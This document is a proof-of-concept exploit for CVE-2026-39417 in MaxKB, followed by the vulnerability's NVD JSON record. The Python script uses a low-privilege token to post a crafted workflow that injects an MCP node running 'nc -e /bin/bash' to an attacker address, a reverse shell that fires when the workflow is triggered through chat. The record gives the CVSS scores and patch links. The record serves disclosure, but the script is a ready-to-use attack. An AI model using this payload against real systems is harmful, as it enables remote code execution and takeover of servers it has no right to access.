CVE-2026-39417

import requests import json # Target API endpoint for creating/updating workflow url = "http://target-ip:8080/api/application/workflow/" # Attacker's credentials (Low privileges required) token = "<VALID_LOW_PRIVILEGE_TOKEN>" # Malicious payload exploiting the incomplete fix # Note: 'mcp_source' is omitted to bypass the database check logic payload = { "name": "Malicious Workflow", "nodes": [ { "id": "mcp_exploit_node", "type": "mcp", "data": { # The vulnerability lies here: direct JSON injection without mcp_source "mcp_servers": { "exploit_server": { "transport": "stdio", "command": "nc", # Arbitrary command execution "args": ["-e", "/bin/bash", "192.168.1.100", "4444"] } } } } ] } headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } try: response = requests.post(url, headers=headers, data=json.dumps(payload)) if response.status_code == 200: print("[+] Workflow created successfully. Trigger the workflow via chat to execute the payload.") else: print(f"[-] Failed to create workflow. Status: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-39417", "sourceIdentifier": "[email protected]", "published": "2026-04-14T00:16:07.193", "lastModified": "2026-04-20T17:36:38.510", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MaxKB is an open-source AI assistant for enterprise. Versions 2.7.1 and below contain an incomplete fix for CVE-2025-53928, where a Remote Code Execution vulnerability still exists in the MCP node of the workflow engine. MaxKB only restricts the referencing code path (loading MCP config from the database). The else branch, responsible for loading mcp_servers directly from user-supplied JSON remains completely unpatched. Since mcp_source is an optional field (required=False), an attacker can simply omit it or set it to any non-referencing value to bypass the fix. By calling the workflow creation API directly with a crafted JSON payload, an attacker can inject a complete MCP node configuration with stdio transport, arbitrary command, and args — achieving RCE when the workflow is triggered via chat. This issue has been fixed in version 2.8.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:L", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.1, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:maxkb:maxkb:*:*:*:*:-:*:*:*", "versionEndExcluding": "2.8.0", "matchCriteriaId": "8BB376B6-4E9C-4801-9D33-5BF858C857D2"}]}]}], "references": [{"url": "https://github.com/1Panel-dev/MaxKB/commit/50e96002ee5dca34c68d3d9333b64ea358c92304", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/1Panel-dev/MaxKB/releases/tag/v2.8.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/1Panel-dev/MaxKB/security/advisories/GHSA-pw52-326g-r5xj", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}